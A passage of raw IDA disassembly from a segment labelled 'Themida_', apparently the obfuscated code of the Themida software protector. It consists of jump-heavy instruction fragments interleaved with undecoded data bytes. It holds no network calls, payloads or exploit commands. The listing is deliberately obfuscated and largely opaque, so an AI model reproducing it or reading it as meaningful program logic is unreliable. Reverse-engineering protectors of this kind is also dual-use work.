		or	edx, ecx
		pop	ecx
		push	ecx
		jmp	loc_54BCFF
; ---------------------------------------------------------------------------

loc_5480F9:				; CODE XREF: Themida_:00547D3Fj
		pop	ebp
		jmp	loc_54A086
; ---------------------------------------------------------------------------
		db 50h
		dd 0E9D18851h, 0FFFFE8A6h, 2C8BEE31h, 4C48324h,	515EF301h
		dd 4B9h, 7535E900h, 0C6810000h,	4, 544F68h, 24048900h
		dd 3638BD55h, 0F5815387h, 43053EF2h, 277CBF57h,	61E96465h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548143:				; CODE XREF: Themida_:00545A2Dj
		push	dx
		not	byte ptr [esp+1]
		jmp	loc_54F085
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 3AC6E900h, 0EDBD0000h,	4D5AB905h, 0FA18C581h
		dd 0EE01A546h, 71B3685Dh, 3C890000h, 2D4AE924h,	0E7800000h
		dd 7ADFE923h, 0C890000h, 2F1DB924h, 0E98132F9h,	73D58C3h
		dd 0C1814149h, 0D44429A8h, 3F49ED81h, 0CD014881h, 3F49C581h
		dd 87594881h, 248B242Ch, 0FC33024h, 34FFC0B6h, 2434FF87h
		dd 8124048Bh, 4C4h, 4FC1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5481C2:				; CODE XREF: Themida_:0054DAFCj
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		push	eax
		push	53BA2045h
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7DB27CA8h
		or	esi, 671E1975h
		push	esi
		not	dword ptr [esp]
		pop	esi
		add	esi, 0ECC0AFAFh
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_548CF9
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 9Fh
		dd 0C15AB968h, 0DFF708EFh, 1666CF81h, 0D7F73576h, 419C781h
		dd 0FB015708h, 8BDA015Fh, 0C481241Ch, 4, 37CDC281h, 0EA8179D7h
		dd 15511D4Ch, 0C281C201h, 15511D4Ch, 37CDEA81h,	525579D7h
		dd 18579A68h, 0BB535A7Dh, 37683625h, 0F75BDA09h, 72BD55D2h
		dd 1D6DE99h, 0D5895DEAh, 8124148Bh, 4C4h, 8BEA2900h, 0C481242Ch
		dd 4, 0FFB6B3E9h, 242C89FFh, 4AEE9h, 8984B900h,	0C8012F74h
		dd 0CBEEE959h, 1489FFFFh, 2474FF24h, 739AE904h,	30AC0000h
		dd 525366D8h, 0FBE975B6h, 68000003h, 32E1h, 53240489h
		dd 2E60E958h, 0A9680000h, 89000044h, 0EC832414h, 24248904h
		dd 301BE9h, 5530B800h, 0E8C11F26h, 34812D02h, 0A1E96D26h
		dd 89000053h, 4C181E1h,	0E9000000h, 0FFFFDEEFh,	0E92434FFh
		dd 0FFFFEC0Fh, 8AE94040h, 28000025h, 5BBC04F8h,	0D8285C04h
		dd 24045C2Ch, 5FCE952h,	4AC0000h, 4D1049Ch, 2CD828BCh
		dd 0AAB151BCh, 0E1C0D1F6h, 590BE903h, 2BD0000h,	81000000h
		dd 0BC5AEBC7h, 81EF014Fh, 0BC5AEBEFh, 0FE95D4Fh, 89000005h
		dd 9C502414h, 0FFB5E7E9h, 0DC8850FFh, 5B58E188h, 0E924048Bh
		dd 7487h, 12D1E95Ch, 89660000h,	0EC81241Ch, 4, 0E9241489h
		dd 1CB3h
; ---------------------------------------------------------------------------

loc_548364:				; CODE XREF: Themida_:00543DA4j
		push	ecx
		jmp	loc_54A587
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 81E38924h, 4ECh, 48AAE900h, 1C890000h, 0E2ECE924h, 3C33FFFFh
		dd 243C3124h, 148FE9h
		db 0
; ---------------------------------------------------------------------------

loc_54838D:				; CODE XREF: Themida_:0054D8CFj
		sub	edx, esi
		pop	esi
		add	eax, edx
		jmp	loc_54B432
; ---------------------------------------------------------------------------
aBa4i		db 'í"4I',0
		db 1, 0C5h, 68h
		dd 37BBh, 0B8240489h, 217F7532h, 0AB2DD0F7h, 1DE3756h
		dd 34FF58C5h, 6D1FE924h, 0C3090000h, 0F3814358h, 7EFF23FEh
		dd 14E9D989h, 1000075h,	0FF505DE8h, 58042474h, 0E924048Fh
		dd 0FFFFDF3Eh, 24048F54h, 4EC81h, 2C890000h, 4BD24h, 44810000h
		dd 501A0424h, 6C811AFAh, 4F460424h, 6C01055Bh, 44810424h
		dd 4F460424h, 6C81055Bh, 501A0424h, 2C8B1AFAh, 4C48324h
		dd 4C3815Bh, 81000000h,	2C3h, 241C8700h, 6824248Bh, 4642h
		dd 68240C89h, 53D0h, 88240489h,	4EC83D4h, 51241C89h, 0CB88E188h
		dd 0FFF6CCE9h, 0BD555FFFh, 4, 1259E956h, 0EB810000h, 2B3A3538h
		dd 26E9FB29h, 81FFFFDBh, 0EE2041C9h, 0C8B85041h, 0E9547822h
		dd 33E2h
; ---------------------------------------------------------------------------

loc_54847C:				; CODE XREF: Themida_:0054CF57j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54C768
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 0FA56FE05h, 5A712D1Ch, 34FF56B4h, 243C8B24h,	8104C483h
		dd 4C4h, 0D9ACE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5484B2:				; CODE XREF: Themida_:00543B1Ej
		add	cl, 0FCh
		jmp	loc_545A1B
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 5E0C104h, 4014E9h, 24248B00h, 0FFB457E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5484CD:				; CODE XREF: Themida_:0054A782j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_54787E
		push	dword ptr [edi+1Ch]
		push	eax
		mov	eax, 6D7360F2h
		add	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_54A134
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 5C240487h, 57241C89h, 0FFDF3DE9h,	88C781FFh, 0E9427630h
		dd 462Ch, 592434FFh, 4C481h, 0C1810000h, 4, 0FA3DE950h
		dd 0BF57FFFFh, 4, 34FFF929h, 0C4815F24h, 4, 0BF6E9h, 0EDC38100h
		dd 3158657Eh, 0E9505BD8h, 459Ah, 8124048Bh, 4C4h, 97B15100h
		dd 59CE00h, 97EE80EEh, 8BF03059h, 0C4832414h, 0FA56E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548572:				; CODE XREF: Themida_:00547BC4j
		pop	ebp
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		add	ebp, 15E652D1h
		mov	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_54BB94
; ---------------------------------------------------------------------------
		dd 0F53917BBh, 0FFC3311Bh, 83582434h, 79E904C4h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5485AB:				; CODE XREF: Themida_:0054ABBFj
		sub	ebp, 0F31C40BFh
		push	ebp
		sub	dword ptr [esp], 38232D58h
		jmp	loc_545BE0
; ---------------------------------------------------------------------------
		dw 3489h
		dd 5621BE24h, 0ADE95EB0h, 5EFFFFF0h, 0B89BE9FDh, 0B551FFFFh
		dd 44CD803Eh, 0E580CDFEh, 80CDFE2Dh, 0F580B3EDh, 59EB0007h
		dd 0E94FEB80h, 0FFFFD008h, 5C24048Fh, 0BB241C89h, 19A04F78h
		dd 7B6BEB81h, 0CB810E7Ah, 0B944B25h, 4FE9DBF7h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54860F:				; CODE XREF: Themida_:0054CAB0j
		pop	ecx
		jmp	loc_54D10A
; ---------------------------------------------------------------------------
		db 2Ch,	0C7h, 0
		dd 506652C8h, 0E2885FB4h, 0C2FE5866h, 2C5E9h, 0B1515A00h
		dd 76E180EEh, 52C0E9h, 0E9028F00h, 0FFFFB2E8h, 4C481h
		dd 48F0000h, 24248B24h,	50241489h, 0B2D2E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548652:				; CODE XREF: Themida_:00547C32j
		xchg	edi, [esp]
		jmp	loc_54ACDB
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5BD88904h, 0FFB2BFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548665:				; CODE XREF: Themida_:00549D7Bj
		add	eax, 30D03C16h
		jmp	loc_54E8B1
; ---------------------------------------------------------------------------
		db 8Fh
		dd 9EE92404h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548677:				; CODE XREF: Themida_:0054C1A6j
		mov	ecx, ebx
		pop	ebx
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_54C2CD
; ---------------------------------------------------------------------------
		dd 7F48DDBDh, 0D9F5812Ah, 12A7F48h, 6C5DE9E9h, 0F6800000h
		dd 1E36E935h, 5580000h,	4, 8304E883h, 0F8E904ECh, 0FFFFFFDBh
		dd 5A042474h, 5C24048Fh, 0FF2434FFh, 34FF2434h,	0C4815A24h
		dd 4, 4C481h, 0E2680000h, 89000071h, 87E9240Ch
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5486DF:				; CODE XREF: Themida_:005456FAj
		mov	esi, ebx
		mov	ebx, [esp]
		push	esi
		push	esp
		jmp	loc_54A47A
; ---------------------------------------------------------------------------
		db 89h
		dd 0BCB42404h, 58E100h,	0D91BE9C1h, 0F281FFFFh,	136608B1h
		dd 6EE9D001h, 5C000025h, 66241489h, 66124468h, 0B5240C89h
		dd 0E888506Eh, 6658C288h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_544386
; ---------------------------------------------------------------------------
		db 0BDh
		dd 31E64DFCh, 0F1E9E921h, 0FF000013h, 77E92434h, 5C000023h
		dd 24048B66h, 708B68h, 24348900h, 4EC81h, 24890000h, 24048124h
		dd 4, 5E9575Eh,	68FFFFC0h, 1B88h, 5B75E9h, 48F5B00h, 1125E924h
		dd 895C0000h, 0FCE92404h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54877B:				; CODE XREF: Themida_:00549551j
		mov	[esp], edx
		push	esp
		jmp	loc_543D1C
; ---------------------------------------------------------------------------
		dd 7B2568h, 3887E900h, 0C4810000h, 4, 4C481h, 48F0000h
		dd 0F665C24h, 0A3E9C8B6h, 0E9000041h, 0FFFFB178h, 8058E120h
		dd 17E9ACC1h, 0ADFFFFF9h, 82E9D831h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5487BF:				; CODE XREF: Themida_:00546CECj
		pop	edx
		push	ebx
		jmp	loc_548C7F
; ---------------------------------------------------------------------------
		dw 872Dh
		dd 5D510100h, 0FFD771E9h, 2434FFFFh, 592434FFh,	0E904C483h
		dd 0FFFFB7D6h, 5A1CE9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5487E6:				; CODE XREF: Themida_:0054DD14j
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		pop	esi
		jmp	loc_548A90
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 0FFFFB1E7h, 5C243C87h,	0FFEDCBE9h
		dd 0E38953FFh, 4C381h, 0EB810000h, 4, 5C241C87h, 0E9240C89h
		dd 80Ch, 1A02E957h, 0D9890000h,	42A1E9h, 24348B00h, 8104C483h
		dd 4C6h, 0CDA1E900h, 0FF57FFFFh, 5F042474h, 0FFDAADE9h
		dd 243487FFh, 3024248Bh, 0E99C2404h, 0FFFFB0C8h
; ---------------------------------------------------------------------------

loc_54885C:				; CODE XREF: Themida_:0054D560j
		mov	edx, 6DE23F95h
		push	esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_54F159
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 2BF5700h, 81000000h, 0F17417C6h, 1AC6816Dh
		dd 8172C13Dh, 0F84FA6C6h, 81FE0130h, 0F84FA6EEh, 0F7A0E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54889A:				; CODE XREF: Themida_:0054C17Fj
		pop	ecx
		jmp	loc_54CA01
; ---------------------------------------------------------------------------

loc_5488A0:				; CODE XREF: Themida_:00547C9Fj
		xor	eax, ecx
		jmp	loc_54C57B
; ---------------------------------------------------------------------------

loc_5488A7:				; CODE XREF: Themida_:00544A40j
		mov	edx, [esp]
		push	eax
		jmp	loc_54D0B7
; ---------------------------------------------------------------------------
		dd 0C5815D58h, 4, 0FFB6E0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5488BD:				; CODE XREF: Themida_:0054BC65j
		pop	eax
		jmp	loc_5464A8
; ---------------------------------------------------------------------------
		db 5Ah
		dd 720DBD55h, 0C681612Fh, 52395219h, 0EBE9EE01h, 81000013h
		dd 4C2h, 5A545200h, 4C281h, 0EA830000h,	489DE904h, 0EAC00000h
		dd 0E9DAF602h, 65E8h
; ---------------------------------------------------------------------------

loc_5488F8:				; CODE XREF: Themida_:005448F0j
		push	ebp
		jmp	loc_54B54F
; ---------------------------------------------------------------------------
		dw 34B6h
		dd 0FEB8CE80h, 20F680CEh, 0E950F680h, 7233h, 83243C8Bh
		dd 256804C4h, 0E900007Eh, 0FFFFB3B7h
; ---------------------------------------------------------------------------

loc_548920:				; CODE XREF: Themida_:00548AC7j
		jmp	loc_543924
; ---------------------------------------------------------------------------
		db 68h,	37h, 28h
		dd 24890000h, 0D5A9E924h, 0C701FFFFh, 2C78358h,	5C243C87h
		dd 24048B66h, 0FFC511E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548945:				; CODE XREF: Themida_:00548FE1j
		sub	al, 95h
		pop	bx
		sub	esp, 4
		jmp	loc_547421
; ---------------------------------------------------------------------------

loc_548951:				; CODE XREF: Themida_:0054BE0Aj
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 5B6931BFh
		jmp	loc_54670D
; ---------------------------------------------------------------------------
aQss3		db 'ÑïSéê3',0
		dd 2C48300h, 4EC8151h, 89000000h, 4A682404h, 8900000Ch
		dd 8268240Ch, 0E9000027h, 4C13h
; ---------------------------------------------------------------------------

loc_548988:				; CODE XREF: Themida_:0054FA56j
		push	ebx
		mov	ebx, 1A875895h
		jmp	loc_544C36
; ---------------------------------------------------------------------------
		db 0FFh
a4S6		db '4$é"6',0
		dw 5F00h
		dd 0FFE53EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5489A1:				; CODE XREF: Themida_:005498CBj
		pop	ebx
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xchg	edx, ebp
		jmp	loc_543978
; ---------------------------------------------------------------------------
		dd 5213F580h, 0D388EA88h, 6A34E9h, 1C5F0900h, 59A1E9h
		dd 240C8900h, 0C181E189h, 4, 0E904E983h, 974h, 0E33BF57h
		dd 0EF8132E0h, 3A612CDFh, 3DFBBE56h, 53464324h,	0F35DCFBBh
		dd 5BDE3105h, 0EE81DEF7h, 924C56EEh, 215EF701h,	0F74E5FFEh
		dd 7EEC1DEh, 0B6EDF681h, 0F0890BD8h, 1C0835Eh, 665B68h
		dd 24048900h, 582414F7h, 0EFDF6505h, 8BC12939h,	0C4812404h
		dd 4, 6879E181h, 0D8E935FCh
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548A3F:				; CODE XREF: Themida_:00545687j
		mov	[esp], ebx
		jmp	loc_54BB59
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 0E859E924h, 5658FFFFh, 1BEh, 6D1E900h, 0EB810000h
		dd 0F44A20CFh, 0E95BDE01h, 0EE4h
; ---------------------------------------------------------------------------

loc_548A6C:				; CODE XREF: Themida_:0054F827j
		mov	edi, 158E11B6h
		or	edx, edi
		pop	edi
		xor	edx, 406648h
		push	edx
		pop	eax
		pop	edx
		jmp	loc_54480D
; ---------------------------------------------------------------------------
		dw 0FF57h
		dd 8B042474h, 0E957243Ch, 27E2h
; ---------------------------------------------------------------------------

loc_548A90:				; CODE XREF: Themida_:005487EEj
		push	esi
		jmp	loc_545672
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4, 875FFE01h, 248B2434h, 9CC88524h, 0FFAE77E9h, 243489FFh
		dd 9521B5BEh, 474DE91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548ABA:				; CODE XREF: Themida_:0054EDD3j
		add	[esp+4], ebp
		add	dword ptr [esp+4], 770B12E6h
		pop	ebp
		jmp	loc_548920
; ---------------------------------------------------------------------------
		dd 8104C483h, 0A69024EFh, 0E9FE01C6h, 542Bh
; ---------------------------------------------------------------------------

loc_548ADC:				; CODE XREF: Themida_:0054D431j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5490BE
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 2479E9h, 84BBB00h, 0DBF7559Dh, 8107E3C1h
		dd 0DF74DECBh, 5277E926h, 81590000h, 3D43D5C3h,	2AEB8169h
		dd 8136094Bh, 0A87C05C3h, 2F8BE942h, 0C1880000h, 0F7A9E951h
		dd 0E95CFFFFh, 2E1Ah
; ---------------------------------------------------------------------------

loc_548B30:				; CODE XREF: Themida_:0054398Bj
		xor	bl, al
		push	2CFBh
		mov	[esp], ebx
		mov	bl, al
		push	eax
		push	ebp
		mov	ebp, 5B5D246Dh
		mov	eax, 5B5D2495h
		sub	eax, ebp
		jmp	loc_54EE64
; ---------------------------------------------------------------------------

loc_548B4F:				; CODE XREF: Themida_:0054EC1Ej
		mov	esi, 720B5BA2h
		not	esi
		inc	esi
		xor	esi, 3FDF133Ah
		dec	esi
		jmp	loc_54714B
; ---------------------------------------------------------------------------

loc_548B63:				; CODE XREF: Themida_:00546DF0j
		add	esp, 4
		push	ecx
		push	esp
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_546AA5
; ---------------------------------------------------------------------------
		dd 5324148Bh, 0C381E389h, 4, 4C381h, 0ADE90000h, 57000017h
		dd 0F65037BFh, 81EFD162h, 0B8403FC7h, 60BA524Ch, 107481Bh
		dd 45ACE9D7h, 3C8B0000h, 4C48324h, 0E9CF875Dh, 2F5Fh, 5253DEF7h
		dd 1A0AE9h, 0E9E38900h,	0FFFFC657h, 8B2434FFh, 0C4832404h
		dd 11F86804h, 2C890000h, 815D5424h, 4C5h, 17E0E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548BF2:				; CODE XREF: Themida_:0054A66Aj
		xor	bh, ah
		pop	eax
		sub	ah, bh
		jmp	loc_54F845
; ---------------------------------------------------------------------------

loc_548BFC:				; CODE XREF: Themida_:0054FD0Dj
		push	eax
		mov	eax, 69F67346h
		shl	eax, 2
		xchg	eax, esi
		inc	esi
		xchg	eax, esi
		push	ebp
		jmp	loc_54E107
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 4055EF0h, 33000000h,	4312404h, 24043324h, 580BE9h, 24148900h
		dd 42474FFh, 5A2434FFh,	0E9E28952h, 3747h, 2474FF50h, 24048B04h
		dd 5E08950h, 4,	0D94E9h
		db 0
; ---------------------------------------------------------------------------

loc_548C4D:				; CODE XREF: Themida_:00549733j
		dec	bh
		or	bh, 38h
		shl	bh, 2
		push	eax
		jmp	loc_547FA1
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0DBF708EBh, 3587BF57h, 8EE9647Ch, 33FFFFF5h,	19E92434h
		dd 0BE000064h, 4, 0B4E9F201h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548C7F:				; CODE XREF: Themida_:005487C1j
		mov	ebx, 1EA906E3h
		jmp	loc_543AF4
; ---------------------------------------------------------------------------
aItsrt		db '‰âéàT',0
		align 10h

loc_548C90:				; CODE XREF: Themida_:00546A09j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	small word ptr [eax]
		jmp	loc_543924
; ---------------------------------------------------------------------------

loc_548CA1:				; CODE XREF: Themida_:0054FA72j
		neg	ebp
		and	ebp, 7147521Bh
		xor	ebp, 35EA3576h
		sub	esi, ebp
		pop	ebp
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54AAF2
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 4055800h, 56000000h, 4BEh, 5124E900h
		dd 0C6890000h, 0F0295F58h, 5E2434FFh, 660CE9h
		db 0
; ---------------------------------------------------------------------------

loc_548CF9:				; CODE XREF: Themida_:005481F4j
		add	esp, 4
		dec	eax
		shr	eax, 3
		push	esi
		push	ebx
		jmp	loc_545C1A
; ---------------------------------------------------------------------------
		db 2Dh
		dd 47F5174Ch, 9466D52Dh, 0E9E82954h, 28F6h
; ---------------------------------------------------------------------------

loc_548D18:				; CODE XREF: Themida_:0054BDF0j
		sub	eax, edi
		pop	edi
		push	2EBEh
		mov	[esp], ebp
		push	edx
		jmp	loc_547A2B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 0FFB5B3E9h, 0B2B450FFh, 0DAE9E4D0h, 83000049h
		dd 0E9042404h, 0FFFFBBC7h
; ---------------------------------------------------------------------------

loc_548D48:				; CODE XREF: Themida_:00545022j
		pop	ebx
		add	esp, 4
		push	small 795Bh
		mov	[esp], cx
		push	eax
		mov	ah, 14h
		inc	ah
		jmp	loc_5468FA
; ---------------------------------------------------------------------------

loc_548D5E:				; CODE XREF: Themida_:005494BCj
		push	dword ptr [esp]
		jmp	loc_549232
; ---------------------------------------------------------------------------
		dw 8B58h
		dd 0E5E9241Ch, 51000055h, 11E0E9h, 0E9118800h, 0FFFFC84Fh
		dd 5EA568h, 243C8900h, 4BFh, 0E9F80100h, 904h, 8D4467BBh
		dd 0D1E94346h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548D9B:				; CODE XREF: Themida_:0054AFE1j
		mov	ebp, [esp]
		push	ebp
		push	26B5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_546C87
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 5B000000h,	1B0EBE56h, 0E6C17982h, 0BBCE8104h
		dd 0E9568118h, 0FFFFCA6Dh, 7745C381h, 0EB810BDCh, 6AE4477Fh
		dd 8AE9C329h, 81FFFFE8h, 80A6DC5h, 81C50173h, 80A6DEDh
		dd 2434FF73h, 4C48358h,	2474FF55h, 242C8B04h, 4C481h, 48F0000h
		dd 24248B24h, 487168h, 24348900h, 4EC81h, 24890000h, 24048324h
		dd 2434FF04h, 16FE95Eh,	0D3010000h, 0FFB91DE9h,	0E9D601FFh
		dd 0FFFFD276h, 5C241487h, 5A5D68h, 240C8900h, 42474FFh
		dd 24048F59h, 48B665Ch,	4EC8324h, 0E9243489h, 99Ah, 2C87D5F7h
		dd 55515D24h, 0FFC74DE9h, 24348BFFh, 22E95450h,	0B8000004h
		dd 4, 5558C701h, 746689BDh, 0DDF74541h,	0FFC8C0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548E89:				; CODE XREF: Themida_:00543A8Fj
		or	eax, eax
		jz	loc_545DDD
		push	dword ptr [edi+1Ch]
		xor	dword ptr [esp], 6E1019ECh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_546CAD
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0E9560000h, 0FFFFB94Eh, 81241C8Bh, 4C4h, 30CDB000h
		dd 42B159E8h, 750E68h, 0F819E900h, 1489FFFFh, 81E28924h
		dd 4C2h, 4C28100h, 0E9000000h, 26BDh
; ---------------------------------------------------------------------------

loc_548EE8:				; CODE XREF: Themida_:0054F107j
		add	eax, 4
		add	eax, 4
		jmp	loc_54AC52
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0DF05D829h, 57725E68h, 0B45669BFh, 3FC7813Ah, 0F759DE25h
		dd 14F757D7h, 0EFC15F24h, 0AFAE905h, 895C0000h,	4812424h
		dd 424h, 240C8B00h, 8104C483h, 4C1h, 0C3F5E900h, 0BF57FFFFh
		dd 4, 0FFC0FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548F41:				; CODE XREF: Themida_:00545090j
		and	eax, esi
		jmp	loc_54F567
; ---------------------------------------------------------------------------
		dd 24048B66h, 68E18951h, 41F0h,	0BE243489h, 26262B26h
		dd 48E9D6F7h, 5B000032h, 4244481h, 64FA46AFh, 4BEE9h, 8B5BA00h
		dd 7FE91366h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548F7B:				; CODE XREF: Themida_:00544823j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5496E5
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 575D0424h,	0FFAE4AE9h, 0E38953FFh,	0E904EC83h
		dd 215Bh, 0FFA97BE9h, 4B9FFh, 0CD290000h, 242C8759h, 1E05E95Ch
		dd 89560000h, 4C681E6h,	81000000h, 4C6h, 24348700h, 24048F5Ch
		dd 5B91E9h, 24048700h, 0FFF72AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548FDD:				; CODE XREF: Themida_:0054D3BEj
		sub	al, bl
		add	al, 9
		jmp	loc_548945
; ---------------------------------------------------------------------------
		dw 0F8B9h
		dd 297A7703h, 2D2D59C8h, 29242E07h, 4EC81D0h, 89000000h
		dd 0E5BD242Ch, 0E94FBB1Bh, 0FFFFAF81h, 0F9F7814Fh, 0E979C4FAh
		dd 0FFFFB4A2h, 4C781h, 74E90000h, 8100000Dh, 79B73FC2h
		dd 354BE9ABh, 0E9590000h, 2DA4h, 20068h, 4F095900h, 240C8B1Ch
		dd 495EE9h, 63E95600h, 5FFFFFAFh, 0CCE9E829h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54904F:				; CODE XREF: Themida_:0054C5DDj
		pop	esp
		mov	[esp], esi
		mov	esi, 47B81026h
		shr	esi, 1
		shr	esi, 6
		shl	esi, 4
		and	esi, 39738CFh
		add	esi, 0FF6A0000h
		jmp	loc_5471FE
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2024248Bh, 0E99C2404h, 0FFFFD0B9h
; ---------------------------------------------------------------------------

loc_549080:				; CODE XREF: Themida_:005442A2j
		add	ebx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_545283
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 8124148Bh, 4C4h, 0FFC68100h,	81FFFFFFh, 0DCAE2EC6h
		dd 0AFC381B2h, 141DF1Eh, 0AFEB81F3h, 5E41DF1Eh,	22B768h
		dd 0A8D2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5490BE:				; CODE XREF: Themida_:00548AE4j
		sub	ebp, 4
		jmp	loc_54D0F0
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0EBh
		dd 674A4197h, 0BD55C301h, 48163E91h, 0F708EDC1h, 0E9DDF7DDh
		dd 0FFFFB23Fh
; ---------------------------------------------------------------------------

loc_5490E4:				; CODE XREF: Themida_:0054808Cj
		xor	eax, [esp]
		jmp	loc_546466
; ---------------------------------------------------------------------------
		dd 4B8h, 0FFC30100h, 48B2434h, 4C48124h, 0E9000000h, 0FFFFEF71h
		dd 4C483h, 2434FFF0h, 6824148Bh, 1617h,	89241C89h, 4C381E3h
		dd 83000000h, 0FEE904C3h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549127:				; CODE XREF: Themida_:0054968Fj
		shl	ebx, 5
		jmp	loc_54BC97
; ---------------------------------------------------------------------------
		db 1
		dd 7EE95EF2h, 68000040h, 281h, 0FF240C89h, 8B042474h, 0DAE9240Ch
		dd 8B000067h, 0C483242Ch, 24048704h, 1244E9h, 461E6800h
		dd 2C890000h, 4BD24h, 0EE890000h, 1E18E95Dh, 875F0000h
		dd 8F5C2414h, 6E682404h, 0E9000067h, 0D2Eh, 24BAC381h
		dd 0CB016637h, 24BAEB81h, 81596637h, 0F71A13F3h, 4B14E9C0h
		dd 2C870000h, 0AA685C24h, 0E900005Bh, 134Fh, 0E9242489h
		dd 0FFFFD466h, 28B6664h, 0C3E95456h, 5CFFFFC3h,	0FF2434FFh
		dd 81582434h, 4C4h, 89575700h, 67E951E7h, 0FFFFFFE9h, 589D1C77h
		dd 9C240411h, 0FFB423E9h, 4C781FFh, 87000000h, 835C243Ch
		dd 148702C2h, 24248B24h, 4B30F66h, 25E99C24h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5491FF:				; CODE XREF: Themida_:0054506Cj
		pop	edx
		xor	edx, 62826838h
		pop	esi
		add	edx, 52B50D7Bh
		mov	ebp, edx
		pop	edx
		add	ebp, 67A14B81h
		jmp	loc_54A95D
; ---------------------------------------------------------------------------
		db 59h
		dd 1A9C6866h, 240C8966h, 0E9DBB252h, 0FFFFFB09h, 4F36E9ACh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549232:				; CODE XREF: Themida_:00548D61j
		pop	ebp
		add	esp, 4
		add	esp, 4
		jmp	loc_54F9D6
; ---------------------------------------------------------------------------
		dd 54241489h, 8324148Bh, 0C28104C4h, 4,	493368h, 242C8900h
		dd 4A2C68h, 24148900h, 0AA615BBAh, 2C12E961h, 0BB530000h
		dd 61C15AC4h, 5C36F381h, 0DE290C96h, 4C47685Bh,	4AE90000h
